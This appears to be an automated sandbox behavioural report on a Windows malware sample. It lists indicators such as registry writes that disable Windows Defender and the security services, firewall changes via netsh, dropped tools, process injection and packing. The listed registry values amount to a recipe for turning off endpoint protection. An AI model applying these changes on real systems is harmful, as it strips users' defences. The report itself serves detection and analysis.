13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRoutinelyTakingAction = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScriptScanning = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Modifies Windows Defender notification settings 3 TTPs 4 IoCs

evasion trojan

Windows Service

Modify Registry

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender Security Center\Notifications\DisableEnhancedNotifications = "1"	reg.exe

Modifies security service 2 TTPs 4 IoCs

evasion

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4"	reg.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
4196	netsh.exe
548	netsh.exe

ACProtect 1.3x - 1.4x DLL software 1 IoCs

Detects file using ACProtect software.

resource	yara_rule
behavioral2/memory/1116-1105-0x0000000074EF0000-0x0000000074EF9000-memory.dmp	acprotect

Deletes itself 1 IoCs

pid	Process
2248	explorer.exe

Executes dropped EXE 62 IoCs

pid	Process
3452	dotNetFx40_Full_setup.exe
396	Setup.exe
2548	dotNetFx45_Full_setup.exe
1748	Setup.exe
3064	SetACL64.exe
5064	SetACL64.exe
2948	SetACL64.exe
2976	SetACL64.exe
1020	SetACL64.exe
2896	SetACL64.exe
1740	SetACL64.exe
2212	SetACL64.exe
2464	PowerRun64.exe
3724	PowerRun64.exe
3584	PowerRun64.exe
3100	PowerRun64.exe
4108	PowerRun64.exe
4156	PowerRun64.exe
4916	PowerRun64.exe
4436	PowerRun64.exe
2116	PowerRun64.exe
3524	PowerRun64.exe
4648	PowerRun64.exe
4060	PowerRun64.exe
2964	PowerRun64.exe
1196	PowerRun64.exe
3344	PowerRun64.exe
784	PowerRun64.exe
2996	PowerRun64.exe
1396	PowerRun64.exe
4876	PowerRun64.exe
868	PowerRun64.exe
4268	PowerRun64.exe
4020	PowerRun64.exe
644	PowerRun64.exe
3692	PowerRun64.exe
4304	PowerRun64.exe
2444	PowerRun64.exe
1860	PowerRun64.exe
2328	PowerRun64.exe
3680	PowerRun64.exe
1368	PowerRun64.exe
1084	PowerRun64.exe
4196	PowerRun64.exe
1852	PowerRun64.exe
4944	PowerRun64.exe
4696	PowerRun64.exe
2868	PowerRun64.exe
404	PowerRun64.exe
2028	PowerRun64.exe
2716	PowerRun64.exe
3868	PowerRun64.exe
4064	PowerRun64.exe
2248	PowerRun64.exe
3100	PowerRun64.exe
2088	PowerRun64.exe
2844	PowerRun64.exe
1732	PowerRun64.exe
4108	PowerRun64.exe
3796	PowerRun64.exe
4712	acxxtzcogvgr.exe
2716	win_version_csharp.exe

Loads dropped DLL 13 IoCs

pid	Process
1116	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe
1116	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe
396	Setup.exe
396	Setup.exe
1748	Setup.exe
1748	Setup.exe
1116	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe
1116	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe
1116	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe
1116	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe
1116	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe
1116	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe
1116	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features	SetACL64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features	SetACL64.exe

Modifies Security services 2 TTPs 10 IoCs

Modifies the startup behavior of a security service.

defense_evasion

Modify Registry

persistence privilege_escalation

Impair Defenses

T1562

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SecurityHealthService\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdFilter\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisDrv\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisSvc\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdBoot\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisSvc\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdBoot\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SecurityHealthService\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdFilter\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisDrv\Start = "4"	reg.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1116 set thread context of 2248	1116	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe	286

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1116-1105-0x0000000074EF0000-0x0000000074EF9000-memory.dmp	upx

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2304	powershell.exe
4456	powershell.exe
2132	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dotNetFx45_Full_setup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Setup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	win_version_csharp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Setup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Setup.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	PowerRun64.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
396	Setup.exe
396	Setup.exe
396	Setup.exe
396	Setup.exe
396	Setup.exe
396	Setup.exe
396	Setup.exe
396	Setup.exe
1748	Setup.exe
1748	Setup.exe
1748	Setup.exe
1748	Setup.exe
1748	Setup.exe
1748	Setup.exe
1748	Setup.exe
1748	Setup.exe
2464	PowerRun64.exe
2464	PowerRun64.exe
2464	PowerRun64.exe
2464	PowerRun64.exe
3724	PowerRun64.exe
3724	PowerRun64.exe
3724	PowerRun64.exe
3724	PowerRun64.exe
3584	PowerRun64.exe
3584	PowerRun64.exe
3584	PowerRun64.exe
3584	PowerRun64.exe
4108	PowerRun64.exe
4108	PowerRun64.exe
4108	PowerRun64.exe
4108	PowerRun64.exe
4156	PowerRun64.exe
4156	PowerRun64.exe
4156	PowerRun64.exe
4156	PowerRun64.exe
4436	PowerRun64.exe
4436	PowerRun64.exe
4436	PowerRun64.exe
4436	PowerRun64.exe
2116	PowerRun64.exe
2116	PowerRun64.exe
2116	PowerRun64.exe
2116	PowerRun64.exe
4648	PowerRun64.exe
4648	PowerRun64.exe
4648	PowerRun64.exe
4648	PowerRun64.exe
4060	PowerRun64.exe
4060	PowerRun64.exe
4060	PowerRun64.exe
4060	PowerRun64.exe
1196	PowerRun64.exe
1196	PowerRun64.exe
3344	PowerRun64.exe
3344	PowerRun64.exe
1196	PowerRun64.exe
1196	PowerRun64.exe
3344	PowerRun64.exe
3344	PowerRun64.exe
2996	PowerRun64.exe
2996	PowerRun64.exe
2996	PowerRun64.exe
2996	PowerRun64.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeBackupPrivilege	3064	SetACL64.exe
Token: SeRestorePrivilege	3064	SetACL64.exe
Token: SeTakeOwnershipPrivilege	3064	SetACL64.exe
Token: SeBackupPrivilege	5064	SetACL64.exe
Token: SeRestorePrivilege	5064	SetACL64.exe
Token: SeTakeOwnershipPrivilege	5064	SetACL64.exe
Token: SeBackupPrivilege	2948	SetACL64.exe
Token: SeRestorePrivilege	2948	SetACL64.exe
Token: SeTakeOwnershipPrivilege	2948	SetACL64.exe
Token: SeBackupPrivilege	2976	SetACL64.exe
Token: SeRestorePrivilege	2976	SetACL64.exe
Token: SeTakeOwnershipPrivilege	2976	SetACL64.exe
Token: SeBackupPrivilege	1020	SetACL64.exe
Token: SeRestorePrivilege	1020	SetACL64.exe
Token: SeTakeOwnershipPrivilege	1020	SetACL64.exe
Token: SeBackupPrivilege	2896	SetACL64.exe
Token: SeRestorePrivilege	2896	SetACL64.exe
Token: SeTakeOwnershipPrivilege	2896	SetACL64.exe
Token: SeBackupPrivilege	1740	SetACL64.exe
